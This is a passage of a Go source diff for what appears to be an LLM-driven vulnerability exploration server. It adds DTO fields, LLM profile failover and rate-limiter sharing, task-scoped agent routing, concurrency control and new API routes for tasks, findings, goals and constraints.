GoalDTO is a goal node with its payload unpacked into text/vulnclass — the shape @@ -263,6 +249,27 @@ func edgeDTOs(in []db.Edge) []EdgeDTO { return out } +// ---- Coverage asset references ---- + +type CoverageAssetRefDTO struct { + ID int64 `json:"id"` + Kind string `json:"kind"` + State string `json:"state"` + Summary string `json:"summary"` + SourceTaskID string `json:"source_task_id,omitempty"` + Inherited bool `json:"inherited,omitempty"` +} + +func coverageAssetRefDTO(ref db.AssetRef) CoverageAssetRefDTO { + out := CoverageAssetRefDTO{ + ID: ref.ID, Kind: ref.Kind, State: ref.State, Summary: ref.Summary, Inherited: ref.Inherited, + } + if ref.SourceTaskID > 0 { + out.SourceTaskID = i64s(ref.SourceTaskID) + } + return out +} + // ---- Finding (frontend "Finding") ---- type FindingDTO struct { @@ -280,6 +287,8 @@ type FindingDTO struct { ParamID string `json:"param_id,omitempty"` TaskID string `json:"task_id,omitempty"` TaskDescription string `json:"task_description,omitempty"` + SourceTaskID string `json:"source_task_id,omitempty"` + Inherited bool `json:"inherited,omitempty"` Assets []FindingAssetDTO `json:"assets,omitempty"` TS string `json:"ts"` } @@ -335,7 +344,7 @@ type findingPayload struct { func findingDTO(n *db.Node) FindingDTO { var p findingPayload _ = json.Unmarshal(n.Payload, &p) - return FindingDTO{ + d := FindingDTO{ ID: i64s(n.ID), VulnClass: p.VulnClass, Name: p.Name, @@ -345,6 +354,11 @@ func findingDTO(n *db.Node) FindingDTO { Evidence: rawString(p.Evidence), TS: rfc3339(n.CreatedAt), } + if n.SourceTaskID > 0 { + d.SourceTaskID = i64s(n.SourceTaskID) + } + d.Inherited = n.Inherited + return d } // findingDTOsForTask converts a task's finding nodes to DTOs, stamping each with @@ -354,11 +368,15 @@ func findingDTO(n *db.Node) FindingDTO { // nodes with no row keep the 'pending' default and no finding_id (not editable). // assets pre-resolves the anchored asset rows for label rendering. func findingDTOsForTask(t *Task, in []*db.Node, meta map[int64]db.FindingMeta, assets map[int64]*db.Asset) []FindingDTO { + return findingDTOsForOwner(t.ID, t.Description, in, meta, assets) +} + +func findingDTOsForOwner(taskID, description string, in []*db.Node, meta map[int64]db.FindingMeta, assets map[int64]*db.Asset) []FindingDTO { out := make([]FindingDTO, 0, len(in)) for _, n := range in { d := findingDTO(n) - d.TaskID = t.ID - d.TaskDescription = t.Description + d.TaskID = taskID + d.TaskDescription = description if m, ok := meta[n.ID]; ok { d.FindingID = i64s(m.ID) d.Status = m.Status @@ -414,16 +432,19 @@ func findingFromDB(f *db.DBFinding, assets map[int64]*db.Asset) FindingDTO { // ---- Activity (frontend "Activity") ---- type ActivityDTO struct { - Seq int64 `json:"seq"` // db Activity.ID - IntentID string `json:"intent_id,omitempty"` // db NodeID - Worker string `json:"worker"` - TS string `json:"ts"` // db CreatedAt - Kind string `json:"kind"` - Tool string `json:"tool,omitempty"` - ToolUseID string `json:"tool_use_id,omitempty"` - IsError bool `json:"is_error"` - Summary string `json:"summary"` - Detail string `json:"detail,omitempty"` + Seq int64 `json:"seq"` // db Activity.ID + IntentID string `json:"intent_id,omitempty"` // db NodeID + Worker string `json:"worker"` + TS string `json:"ts"` // db CreatedAt + Kind string `json:"kind"` + Tool string `json:"tool,omitempty"` + ToolUseID string `json:"tool_use_id,omitempty"` + IsError bool `json:"is_error"` + Summary string `json:"summary"` + Detail string `json:"detail,omitempty"` + Metadata json.RawMessage `json:"metadata,omitempty"` + SourceTaskID string `json:"source_task_id,omitempty"` + Inherited bool `json:"inherited,omitempty"` // token usage (set only on kind='result'); used for per-session token totals. InputTokens *int `json:"input_tokens,omitempty"` OutputTokens *int `json:"output_tokens,omitempty"` @@ -436,7 +457,7 @@ func activityDTO(a db.Activity) ActivityDTO { if a.NodeID != nil { intent = i64s(*a.NodeID) } - return ActivityDTO{ + d := ActivityDTO{ Seq: a.ID, IntentID: intent, Worker: a.Worker, @@ -447,11 +468,17 @@ func activityDTO(a db.Activity) ActivityDTO { IsError: a.IsError, Summary: a.Summary, Detail: a.Detail, // list endpoint leaves this empty (lazy) + Metadata: a.Metadata, InputTokens: a.InputTokens, OutputTokens: a.OutputTokens, CacheReadTokens: a.CacheReadTokens, CacheWriteTokens: a.CacheWriteTokens, } + if a.SourceTaskID > 0 { + d.SourceTaskID = i64s(a.SourceTaskID) + } + d.Inherited = a.Inherited + return d } func activityDTOs(in []db.Activity) []ActivityDTO { @@ -528,8 +555,13 @@ type LLMProfileDTO struct { RatePerSecond float64 `json:"rate_per_second"` RatePerMinute float64 `json:"rate_per_minute"` ContextWindowK int `json:"context_window_k"` + ThinkingType string `json:"thinking_type"` ReasoningEffort string `json:"reasoning_effort"` IsDefault bool `json:"is_default"` + // 轮询(故障转移)参数:priority 越大越先被选中(激活配置恒为链首); + // pool_exclude=true 则不作为故障转移目标,但仍可被 agent/任务显式绑定。 + Priority int `json:"priority"` + PoolExclude bool `json:"pool_exclude"` } func llmProfileDTO(p *db.LLMProfile) LLMProfileDTO { @@ -544,8 +576,11 @@ func llmProfileDTO(p *db.LLMProfile) LLMProfileDTO { RatePerSecond: p.RatePerSecond, RatePerMinute: p.RatePerMinute, ContextWindowK: p.ContextWindowK, + ThinkingType: p.ThinkingType, ReasoningEffort: p.ReasoningEffort, IsDefault: p.IsDefault, + Priority: p.Priority, + PoolExclude: p.PoolExclude, } } diff --git a/server/server.go b/server/server.go index f304aa6..219ab50 100644 --- a/server/server.go +++ b/server/server.go @@ -1,9 +1,10 @@ package server import ( + "archive/zip" "context" "encoding/json" - + "errors" "fmt" "io" "log" @@ -12,6 +13,7 @@ import ( "net/url" "path/filepath" "regexp" + "sort" "strconv" "strings" "sync" @@ -19,6 +21,7 @@ import ( "github.com/Autumn-27/artex/agent" "github.com/Autumn-27/artex/db" + "github.com/Autumn-27/artex/llmpool" "github.com/Autumn-27/artex/llmrec" "github.com/Autumn-27/artex/report" "github.com/Autumn-27/norma/llm" @@ -42,12 +45,20 @@ type Server struct { skillDir string // root directory for skill subdirectories jwtKey []byte // HS256 signing key loaded from / generated into dataDir/jwt.key + // concMu serializes concurrency-cap decisions (admission + reconcile) so a + // scheduler tick and an HTTP settings change / task creation can't both count + // free slots off the same snapshot and over-promote past the limit. + concMu sync.Mutex + cfgMu sync.Mutex mainAgent *agent.MainAgent // nil when no LLM provider is configured chatAgent *agent.ChatAgent // conversational runner for the chat page; nil w/o LLM - llmCfg agent.Config // current LLM config (key not exposed) - llmOn bool - llmProf string // active LLM profile name (for llmrec tagging) + // llmProv is the fully-decorated global provider (recorder + failover chain) + // installed by applyLLM. Task routers use it after an explicit chain is cleared. + llmProv llm.Provider + llmCfg agent.Config // current LLM config (key not exposed) + llmOn bool + llmProf string // active LLM profile name (for llmrec tagging) // chatBusy guards the per-task main-agent run: the chat handler launches the // agent on the server's background ctx (not the request ctx) and returns @@ -60,7 +71,7 @@ type Server struct { // convBusyKey), so a manual stop can abort JUST that session's agent run. Set/ // cleared alongside chatBusy under chatMu. Aborting a run does NOT touch the P3 // trigger queue — the drain goroutine simply proceeds to the next queued fire. - chatCancel map[string]context.CancelFunc + chatCancel map[string]context.CancelCauseFunc // triggerQ buffers P3 trigger fires PER AGENT. A per-agent "pump" launches runs up // to a concurrency limit derived from the agent's策略: serial → limit 1 (+ optional @@ -86,12 +97,25 @@ type Server struct { // provByProfile caches ONE provider per LLM profile id so every agent bound or // pinned to the same profile shares a single provider instance — hence one rate - // limiter. Separate from profAgents (whole planner/worker pairs). The globally-active - // provider (built in applyLLM) lives OUTSIDE this cache, so binding an agent to the - // currently-active profile builds a second instance — harmless (that binding equals - // leaving it unset), just not deduped. Cleared alongside profAgents on profile edits. + // limiter. Separate from profAgents (whole planner/worker pairs). applyLLM also + // resolves the persisted global-active profile through this cache, so global + // fallback and task chains do not accidentally double the configured request rate. + // Cleared alongside profAgents on profile edits, then repopulated by active reapply. provCacheMu sync.Mutex provByProfile map[int64]*provEntry + provCacheGen uint64 + + // llmHealth is the process-wide circuit-breaker state for LLM failover (轮询). + // It deliberately lives OUTSIDE the provider caches: rebuilding the chain + // (saving an unrelated profile, flipping a setting) must not erase what we + // learned about which backends are out of credit / rate-limited. + llmHealth *llmpool.Registry + + // Explicit task chains use one task-scoped dynamic provider shared by goals, + // planner, workers, and the main agent. Bundles are stable; their runtime reads + // the persisted current profile at every new LLM call. + taskAgentMu sync.Mutex + taskAgents map[string]*taskAgentBundle } // profBundle is a planner/worker pair built from one LLM profile. @@ -123,17 +147,20 @@ func New(ctx context.Context, m *Manager, skillDir string, dataDir string, keyDi log.Fatalf("[auth] JWT key: %v", err) } s := &Server{m: m, engine: NewEngine(m), ctx: ctx, skillDir: skillDir, jwtKey: key, chatBusy: map[string]bool{}, - chatCancel: map[string]context.CancelFunc{}, triggerQ: map[string][]triggeredRun{}, + chatCancel: map[string]context.CancelCauseFunc{}, triggerQ: map[string][]triggeredRun{}, triggerActive: map[string]int{}, triggerCfg: map[string]triggerBehavior{}, profAgents: map[int64]*profBundle{}, profChatAgents: map[int64]*agent.ChatAgent{}, - provByProfile: map[int64]*provEntry{}} - // per-task LLM: a task pinned to a specific profile runs on that profile's - // dedicated planner/worker; unpinned tasks fall back to the global active pair. - s.engine.SetAgentResolver(func(t *Task) (*agent.Planner, *agent.Worker) { - if t.LLMProfileID == nil { + provByProfile: map[int64]*provEntry{}, llmHealth: newLLMHealthRegistry(m.pg), + taskAgents: map[string]*taskAgentBundle{}} + // Every task uses a stable task router. An empty explicit chain is resolved by + // that router through Agent bindings and then the global provider, so adding a + // first chain to a running task takes effect on its very next LLM call. + s.engine.SetAuthoritativeAgentResolver(func(t *Task) (*agent.Planner, *agent.Worker) { + if !s.taskRuntimeAvailable(t, "planner", "worker") { return nil, nil } - return s.agentsForProfile(*t.LLMProfileID) + b := s.agentsForTask(t) + return b.pl, b.wk }) // Wire DB-stored prompt templates into the agents (新版方案 §3.3 / §5a). With no // override row, agents keep their built-in defaults — behavior is unchanged. @@ -211,30 +238,33 @@ func New(ctx context.Context, m *Manager, skillDir string, dataDir string, keyDi // reload tasks persisted on disk so the task list survives a restart, and // restore persisted paused state (so a task paused before restart stays paused). for _, t := range m.LoadExisting() { + lifecycle := t.lifecycleSnapshot() // clear stale 'running' intents from a prior crash/restart (no live worker // owns them) so they re-claim instead of spinning forever in the UI. if n, _ := t.Store.ResetRunningIntents(); n > 0 { log.Printf("[engine] task %s 重置 %d 个残留 running 意图为 open", t.ID, n) } - if t.Paused { - s.engine.Pause(t.ID) + if lifecycle.Paused { + s.engine.Pause(t.ID, agent.AbortPausedOnReload) } // 任务级超时:为每个未终态、带 timeout 的任务起 deadline 协调器,独立于 planner/worker // loop——非活跃任务重启后也能在到点后被收尾(deadline 已过则立即走收尾时序)。 - if !isTerminalStatus(t.Status) { + if !isTerminalStatus(lifecycle.Status) { s.engine.startDeadlineCoordinator(ctx, t) } } - // resume the active task's engine; other tasks resume when opened (setActive). - // (a restored-paused task's loops still start but idle until resumed.) - if t := m.ActiveTask(); t != nil { - s.engine.Run(ctx, t) + // Restore every task that had already been admitted before shutdown. Starting + // only the active UI task left other non-queued tasks counted as concurrency + // occupants without live loops, which could permanently block the persistent + // FIFO. Paused loops remain idle; queued tasks are admitted below as slots allow. + for _, t := range m.List() { + lifecycle := t.lifecycleSnapshot() + if !lifecycle.Queued && !isTerminalStatus(lifecycle.Status) { + s.engine.Run(ctx, t) + } } -<<<<<<< Updated upstream -======= go s.reconcileConcurrency() s.wireInterceptReviewer() // LLM 兜底审批:未命中拦截规则的命令交给模型判定 ->>>>>>> Stashed changes return s } @@ -252,14 +282,14 @@ func (s *Server) agentMaxTurns(key string) int { } // agentRunSeconds returns the configured wall-clock run budget (seconds) for an -// agent key (0 = unlimited; 600 fallback when no DB or no row, matching schema). +// agent key (0 = unlimited; 1200 fallback when no DB or no row, matching schema). func (s *Server) agentRunSeconds(key string) int { if s.m.pg == nil { - return 600 + return 1200 } a, err := s.m.pg.GetAgentByKey(key) if err != nil || a == nil { - return 600 + return 1200 } return a.RunSecs } @@ -273,6 +303,7 @@ func (s *Server) loadLLMConfig() (agent.Config, bool) { cfg := agent.ConfigFrom(p.Format, p.Model, p.BaseURL, p.APIKey, p.Proxy) cfg.RatePerSecond, cfg.RatePerMinute = p.RatePerSecond, p.RatePerMinute cfg.ContextWindowK = p.ContextWindowK + cfg.ThinkingType = p.ThinkingType cfg.ReasoningEffort = p.ReasoningEffort if cfg.APIKey == "" { return cfg, false @@ -284,16 +315,21 @@ func (s *Server) loadLLMConfig() (agent.Config, bool) { } // saveLLMConfig persists the LLM config as the active "default" profile in PG. -func (s *Server) saveLLMConfig(cfg agent.Config) { +func (s *Server) saveLLMConfig(cfg agent.Config) error { format := cfg.Provider() if format != "anthropic" { format = "openai" } var id int64 + // agent.Config carries no failover fields, so carry the stored ones forward — + // otherwise this legacy endpoint would silently reset the profile's priority + // and pool_exclude to zero values on every save. + var priority int + var poolExclude bool if profs, _ := s.m.pg.ListProfiles(); profs != nil { for _, p := range profs { if p.Name == "default" { - id = p.ID + id, priority, poolExclude = p.ID, p.Priority, p.PoolExclude break } } @@ -301,11 +337,13 @@ func (s *Server) saveLLMConfig(cfg agent.Config) { newID, err := s.m.pg.SaveProfile(&db.LLMProfile{ ID: id, Name: "default", Format: format, Model: cfg.Model, BaseURL: cfg.BaseURL, Proxy: cfg.Proxy, APIKey: cfg.APIKey, RatePerSecond: cfg.RatePerSecond, RatePerMinute: cfg.RatePerMinute, - ContextWindowK: cfg.ContextWindowK, ReasoningEffort: cfg.ReasoningEffort, IsDefault: true, + ContextWindowK: cfg.ContextWindowK, ThinkingType: cfg.ThinkingType, ReasoningEffort: cfg.ReasoningEffort, IsDefault: true, + Priority: priority, PoolExclude: poolExclude, }) - if err == nil { - _ = s.m.pg.SetActiveProfile(newID) + if err != nil { + return err } + return s.m.pg.SetActiveProfile(newID) } // reapplyActiveProfile hot-reloads the engine from the active DB profile so that @@ -352,9 +390,9 @@ func (s *Server) buildPlannerWorker(pinID *int64, gProv llm.Provider, gCfg agent wk.SetConstraintInject(s.constraintInjectWorker) // 操作约束注入 worker(可配置,默认开;每轮读) pProv, pCfg := s.providerForAgent("planner", pinID, gProv, gCfg) pl := agent.NewPlanner(pProv, pCfg.Model, s.m.dir, tx, pCfg.CompactionWindow(), s.agentMaxTurns("planner")) - pl.SetKillWork(s.engine.KillWork) // planner kill_work → terminate a running work - pl.SetSteerWork(s.engine.SteerWork) // planner steer_work → inject mid-run course-correction - pl.SetProxy(s.m.ProxyAddr(), s.m.ProxyCACert()) // WebFetch through the recording proxy + pl.SetKillWork(s.engine.KillWork) // planner kill_work → terminate a running work + pl.SetSteerWork(s.engine.SteerWork) // planner steer_work → inject mid-run course-correction + pl.SetProxy(s.m.ProxyAddr(), s.m.ProxyCACert()) // WebFetch through the recording proxy pl.SetWebSearch(s.webSearchFor("planner")) pl.SetConstraintInject(s.constraintInjectPlanner) // 操作约束注入 planner(可配置,默认开;每轮读) return pl, wk @@ -363,15 +401,32 @@ func (s *Server) buildPlannerWorker(pinID *int64, gProv llm.Provider, gCfg agent // applyLLM (re)builds the planner/worker/main-agent from cfg and installs them on // the running engine as the GLOBAL active pair. Safe to call at runtime (UI configures LLM). func (s *Server) applyLLM(cfg agent.Config) error { - prov, err := cfg.NewProvider() - if err != nil { - return err + var prov llm.Provider + // A persisted active profile must use the same cached provider as task chains + // and Agent bindings, otherwise each path owns a separate rate limiter. + if active, _ := s.m.pg.ActiveProfile(); active != nil { + if activeCfg, ok := s.loadProfileConfig(active.ID); ok && activeCfg == cfg { + prov, _, _ = s.providerForProfile(active.ID) + } + } + if prov == nil { + var err error + prov, err = cfg.NewProvider() + if err != nil { + return err + } + // Non-persisted/env configs do not have a profile cache key. + s.cfgMu.Lock() + profName := s.llmProf + s.cfgMu.Unlock() + prov = llmrec.Wrap(prov, s.m.PG(), cfg.Model, profName, cfg.ThinkingType, cfg.ReasoningEffort, s.m.LLMRecordEnabled) + } + // LLM 轮询(默认关):把激活配置包进故障转移链,当前配置不可用时自动切下一个。 + // 只影响「走全局激活配置」的这条路径——agent 绑定 / 任务 pin 的走 providerForProfile, + // 默认仍然独占该配置(见 poolForBinding)。关闭或无备选时返回原 provider,行为不变。 + if act, err := s.m.pg.ActiveProfile(); err == nil && act != nil { + prov = s.poolForActive(act.ID, prov, cfg) } - // Wrap provider with LLM call recorder (persists request/response to PG). - s.cfgMu.Lock() - profName := s.llmProf - s.cfgMu.Unlock() - prov = llmrec.Wrap(prov, s.m.PG(), cfg.Model, profName, s.m.LLMRecordEnabled) pl, wk := s.buildPlannerWorker(nil, prov, cfg) s.engine.UseLLM(pl, wk) @@ -392,9 +447,11 @@ func (s *Server) applyLLM(cfg agent.Config) error { s.chatAgent.SetProxy(s.m.ProxyAddr(), s.m.ProxyCACert()) s.chatAgent.SetWebSearch(s.m.WebSearchOpts()) s.chatAgent.SetGuard(s.chatGuard()) + s.llmProv = prov s.llmCfg = cfg s.llmOn = true s.cfgMu.Unlock() + s.invalidateTaskAgents() // wake the active task so a task created while idle starts exploring. if t := s.m.ActiveTask(); t != nil { @@ -413,6 +470,7 @@ func (s *Server) loadProfileConfig(id int64) (agent.Config, bool) { cfg := agent.ConfigFrom(p.Format, p.Model, p.BaseURL, p.APIKey, p.Proxy) cfg.RatePerSecond, cfg.RatePerMinute = p.RatePerSecond, p.RatePerMinute cfg.ContextWindowK = p.ContextWindowK + cfg.ThinkingType = p.ThinkingType cfg.ReasoningEffort = p.ReasoningEffort if cfg.APIKey == "" { return cfg, false @@ -443,6 +501,7 @@ func (s *Server) providerForProfile(id int64) (llm.Provider, agent.Config, bool) s.provCacheMu.Unlock() return e.prov, e.cfg, true } + generation := s.provCacheGen s.provCacheMu.Unlock() cfg, ok := s.loadProfileConfig(id) if !ok { @@ -455,9 +514,13 @@ func (s *Server) providerForProfile(id int64) (llm.Provider, agent.Config, bool) } // Wrap with recorder, tagged with this profile's name. if p, _ := s.m.pg.ProfileByID(id); p != nil { - prov = llmrec.Wrap(prov, s.m.PG(), cfg.Model, p.Name, s.m.LLMRecordEnabled) + prov = llmrec.Wrap(prov, s.m.PG(), cfg.Model, p.Name, cfg.ThinkingType, cfg.ReasoningEffort, s.m.LLMRecordEnabled) } s.provCacheMu.Lock() + if generation != s.provCacheGen { + s.provCacheMu.Unlock() + return s.providerForProfile(id) + } if e := s.provByProfile[id]; e != nil { // lost the race → keep the winner prov, cfg = e.prov, e.cfg } else { @@ -470,10 +533,14 @@ func (s *Server) providerForProfile(id int64) (llm.Provider, agent.Config, bool) // providerForAgent returns the provider+cfg one agent should run on: its bound/pinned // profile if that resolves, else the passed global fallback (gProv/gCfg). +// A bound/pinned profile is EXCLUSIVE by default: it does not fail over, so an +// agent deliberately put on a specific model never silently runs on another one. +// Turning on llm_pool_bind_fallback relaxes that — poolForBinding then appends the +// failover chain behind it. func (s *Server) providerForAgent(agentKey string, pinID *int64, gProv llm.Provider, gCfg agent.Config) (llm.Provider, agent.Config) { if eff := s.effectiveProfileForAgent(agentKey, pinID); eff != nil { if prov, cfg, ok := s.providerForProfile(*eff); ok { - return prov, cfg + return s.poolForBinding(*eff, prov, cfg), cfg } } return gProv, gCfg @@ -494,7 +561,9 @@ func (s *Server) agentsForProfile(id int64) (*agent.Planner, *agent.Worker) { if !ok { return nil, nil } - pl, wk := s.buildPlannerWorker(&id, prov, cfg) + // The pin is the fallback for agents without their own binding — same + // exclusive-by-default rule, so route it through poolForBinding too. + pl, wk := s.buildPlannerWorker(&id, s.poolForBinding(id, prov, cfg), cfg) s.profMu.Lock() if ex := s.profAgents[id]; ex != nil { // lost the race → keep the winner pl, wk = ex.pl, ex.wk @@ -519,7 +588,7 @@ func (s *Server) chatAgentForProfile(id int64) *agent.ChatAgent { return nil } tx := transcript.NewStore(filepath.Join(s.m.dir, "transcripts")) - ca := agent.NewChatAgent(prov, cfg.Model, s.m.dir, tx, cfg.CompactionWindow()) + ca := agent.NewChatAgent(s.poolForBinding(id, prov, cfg), cfg.Model, s.m.dir, tx, cfg.CompactionWindow()) ca.SetProxy(s.m.ProxyAddr(), s.m.ProxyCACert()) ca.SetWebSearch(s.m.WebSearchOpts()) ca.SetGuard(s.chatGuard()) @@ -542,8 +611,10 @@ func (s *Server) invalidateProfileAgents() { s.profChatAgents = map[int64]*agent.ChatAgent{} s.profMu.Unlock() s.provCacheMu.Lock() + s.provCacheGen++ s.provByProfile = map[int64]*provEntry{} s.provCacheMu.Unlock() + s.invalidateTaskAgents() } func (s *Server) mainAgentRef() *agent.MainAgent { @@ -575,10 +646,23 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("GET /api/tasks", s.listTasks) mux.HandleFunc("POST /api/tasks", s.createTask) + mux.HandleFunc("GET /api/task-categories", s.pgListTaskCategories) + mux.HandleFunc("POST /api/task-categories", s.pgCreateTaskCategory) + mux.HandleFunc("PATCH /api/task-categories/{id}", s.pgRenameTaskCategory) + mux.HandleFunc("DELETE /api/task-categories/{id}", s.pgDeleteTaskCategory) + mux.HandleFunc("GET /api/task-templates", s.pgListTaskTemplates) + mux.HandleFunc("POST /api/task-templates", s.pgCreateTaskTemplate) + mux.HandleFunc("PATCH /api/task-templates/{id}", s.pgUpdateTaskTemplate) + mux.HandleFunc("DELETE /api/task-templates/{id}", s.pgDeleteTaskTemplate) mux.HandleFunc("GET /api/tasks/{id}", s.getTask) + mux.HandleFunc("PATCH /api/tasks/{id}/category", s.updateTaskCategory) + mux.HandleFunc("POST /api/tasks/control/batch", s.controlTasksBatch) mux.HandleFunc("GET /api/tasks/{id}/coverage", s.taskCoverage) mux.HandleFunc("GET /api/tasks/{id}/coverage-graph", s.taskCoverageGraph) mux.HandleFunc("GET /api/tasks/{id}/asset-refs", s.taskAssetRefs) + mux.HandleFunc("POST /api/tasks/{id}/assets", s.attachTaskAssets) + mux.HandleFunc("DELETE /api/tasks/{id}/assets/{assetID}", s.detachTaskAsset) + mux.HandleFunc("GET /api/tasks/{id}/intent-assets", s.taskIntentAssets) // 工作空间文件管理器(针对 workDir) mux.HandleFunc("GET /api/workspace/list", s.wsList) @@ -589,20 +673,20 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("GET /api/workspace/download", s.wsDownload) mux.HandleFunc("POST /api/workspace/upload", s.wsUpload) mux.HandleFunc("GET /api/tasks/{id}/scope", s.taskScopeList) -<<<<<<< Updated upstream -======= mux.HandleFunc("POST /api/tasks/{id}/scope", s.taskScopeAdd) mux.HandleFunc("DELETE /api/tasks/{id}/scope/{sid}", s.taskScopeDelete) - mux.HandleFunc("GET /api/tasks/{id}/goals", s.listGoals) // 目标管理:列出本任务全部目标 - mux.HandleFunc("POST /api/tasks/{id}/goals", s.addGoal) // 目标管理:人工新增目标(复活任务) - mux.HandleFunc("PATCH /api/tasks/{id}/goals/{gid}", s.editGoal) // 目标管理:修改目标(复活任务) - mux.HandleFunc("DELETE /api/tasks/{id}/goals/{gid}", s.deleteGoal) // 目标管理:硬删除目标(不复活) + mux.HandleFunc("GET /api/tasks/{id}/goals", s.listGoals) // 目标管理:列出本任务全部目标 + mux.HandleFunc("POST /api/tasks/{id}/goals", s.addGoal) // 目标管理:人工新增目标(复活任务) + mux.HandleFunc("PATCH /api/tasks/{id}/goals/{gid}", s.editGoal) // 目标管理:修改目标(复活任务) + mux.HandleFunc("DELETE /api/tasks/{id}/goals/{gid}", s.deleteGoal) // 目标管理:硬删除目标(不复活) mux.HandleFunc("GET /api/tasks/{id}/constraints", s.listConstraints) // 约束管理:列出本任务操作约束 mux.HandleFunc("POST /api/tasks/{id}/constraints", s.addConstraint) // 约束管理:新增约束(不通知 planner) mux.HandleFunc("PATCH /api/tasks/{id}/constraints/{cid}", s.editConstraint) // 约束管理:修改约束 mux.HandleFunc("DELETE /api/tasks/{id}/constraints/{cid}", s.deleteConstraint) // 约束管理:删除约束 ->>>>>>> Stashed changes mux.HandleFunc("POST /api/tasks/{id}/control", s.control) + mux.HandleFunc("PUT /api/tasks/{id}/llm", s.updateTaskLLMProfiles) + mux.HandleFunc("GET /api/tasks/{id}/llm/resolution", s.taskLLMResolutionHandler) + mux.HandleFunc("POST /api/tasks/{id}/intents/{iid}/control", s.controlIntent) mux.HandleFunc("POST /api/tasks/{id}/intents/{iid}/rerun", s.rerunIntent) // 重跑单条 blocked/exhausted/stopped 意图 mux.HandleFunc("POST /api/tasks/{id}/intents/rerun-blocked", s.rerunBlocked) // 批量重跑本任务全部 blocked 意图 mux.HandleFunc("POST /api/active", s.setActive) @@ -627,10 +711,14 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("GET /api/exploration/frontier", s.frontier) mux.HandleFunc("GET /api/exploration/findings", s.findings) + mux.HandleFunc("GET /api/exploration/findings/groups", s.findingGroups) mux.HandleFunc("GET /api/exploration/findings/stats", s.findingStats) + mux.HandleFunc("GET /api/exploration/findings/export", s.findingsExport) mux.HandleFunc("GET /api/exploration/findings/{id}", s.getFinding) mux.HandleFunc("GET /api/exploration/findings/{id}/lineage", s.findingLineage) + mux.HandleFunc("POST /api/exploration/findings/{id}/deepen", s.deepenFinding) mux.HandleFunc("PATCH /api/exploration/findings/{id}", s.patchFinding) + mux.HandleFunc("DELETE /api/exploration/findings/{id}", s.deleteFinding) mux.HandleFunc("GET /api/exploration/intents", s.intents) mux.HandleFunc("GET /api/exploration/graph", s.explorationGraph) mux.HandleFunc("GET /api/exploration/activity", s.activity) @@ -640,6 +728,7 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("GET /api/exploration/tokens", s.tokenStats) mux.HandleFunc("GET /api/tokens/daily", s.tokenDailyStats) mux.HandleFunc("GET /api/tokens/conversations", s.conversationTokens) + mux.HandleFunc("GET /api/tokens/usage", s.pgUsageStats) // 全局 llm_usage 聚合(仪表盘新版视图) mux.HandleFunc("GET /api/audit", s.getAudit) mux.HandleFunc("POST /api/gc", s.gc) @@ -653,6 +742,7 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("GET /api/llm/records", s.pgListLLMRecords) mux.HandleFunc("DELETE /api/llm/records", s.pgDeleteLLMRecords) mux.HandleFunc("GET /api/llm/records/tasks", s.pgLLMTasks) + mux.HandleFunc("GET /api/llm/records/by-model", s.pgTokenByModel) // 按模型聚合本任务 token 用量 mux.HandleFunc("GET /api/llm/records/{id}", s.pgGetLLMRecord) mux.HandleFunc("GET /api/settings", s.getSettings) mux.HandleFunc("PUT /api/settings", s.putSettings) @@ -660,6 +750,7 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("GET /api/report", s.getReport) mux.HandleFunc("POST /api/chat", s.chat) mux.HandleFunc("POST /api/chat/upload", s.chatUpload) // 方式1 文件上传:落到会话/任务工作目录 uploads/ + mux.HandleFunc("GET /api/tasks/{id}/chat/status", s.taskChatStatus) mux.HandleFunc("POST /api/tasks/{id}/chat/stop", s.stopChat) // --- 管理后台 API (PostgreSQL 数据源; 新版数据库与管理后台方案) --- @@ -723,6 +814,8 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("POST /api/skills", s.fsCreateSkill) mux.HandleFunc("POST /api/skills/upload", s.fsUploadSkill) mux.HandleFunc("DELETE /api/skills/{name}", s.fsDeleteSkill) + mux.HandleFunc("GET /api/skills/missing", s.fsMissingSkills) // 未命中(想调但不存在)的 skill 名 + mux.HandleFunc("GET /api/skills/{name}/usage", s.fsSkillUsage) // 单个 skill 的最近调用 mux.HandleFunc("PUT /api/skills/{name}/meta", s.fsUpdateSkillMeta) mux.HandleFunc("POST /api/skills/{name}/dirs", s.fsCreateDir) mux.HandleFunc("GET /api/skills/{name}/files", s.fsListFiles) @@ -741,6 +834,8 @@ func (s *Server) Handler() http.Handler { mux.HandleFunc("POST /api/llm/profiles", s.pgSaveProfile) mux.HandleFunc("DELETE /api/llm/profiles/{id}", s.pgDeleteProfile) mux.HandleFunc("POST /api/llm/profiles/active", s.pgActivateProfile) + mux.HandleFunc("GET /api/llm/pool", s.pgLLMPoolStatus) + mux.HandleFunc("POST /api/llm/pool/reset", s.pgLLMPoolReset) mux.HandleFunc("POST /api/llm/models", s.pgListModels) // 拦截规则管理 @@ -805,6 +900,7 @@ func (s *Server) stats(w http.ResponseWriter, r *http.Request) { writeJSON(w, 200, out) // no task selected: only global fields return } + out["llm_configured"] = s.engine.ReadyFor(t) st, _ := t.Store.Stats() out["exploration"] = st @@ -826,27 +922,31 @@ func (s *Server) stats(w http.ResponseWriter, r *http.Request) { } last := s.engine.LastActivity(t.ID) paused := s.engine.IsPaused(t.ID) - running := s.engine.Ready() && s.engine.Started(t.ID) && !paused - // stalled: running but no activity for a while and nothing in flight. - stalled := running && inFlight == 0 && last > 0 && time.Now().Unix()-last > 120 + activeCalls := s.engine.ActiveLLMCalls(t.ID) + running := s.engine.ReadyFor(t) && s.engine.Started(t.ID) && !paused + // A live event-driven engine with no work is healthy idle. Only a persisted + // running intent without any corresponding LLM call can be considered stalled. + stalled := running && activeCalls == 0 && inFlight > 0 && last > 0 && time.Now().Unix()-last > 120 // engine_mode follows the spec enum (exploring|paused|stalled|idle). + engineMode := "idle" switch { case paused: - out["engine_mode"] = "paused" + engineMode = "paused" case stalled: - out["engine_mode"] = "stalled" - case running: - out["engine_mode"] = "exploring" - default: - out["engine_mode"] = "idle" + engineMode = "stalled" + case running && activeCalls > 0: + engineMode = "exploring" } + out["engine_mode"] = engineMode out["active_task"] = map[string]any{ "id": t.ID, "description": t.Description, "goal": t.Goal, "running": running, "paused": paused, + "engine_mode": engineMode, "in_flight": inFlight, + "llm_in_flight": activeCalls, "last_activity": last, "stalled": stalled, "goals_total": len(goals), @@ -866,16 +966,7 @@ func (s *Server) listTasks(w http.ResponseWriter, r *http.Request) { goalCounts, _ := 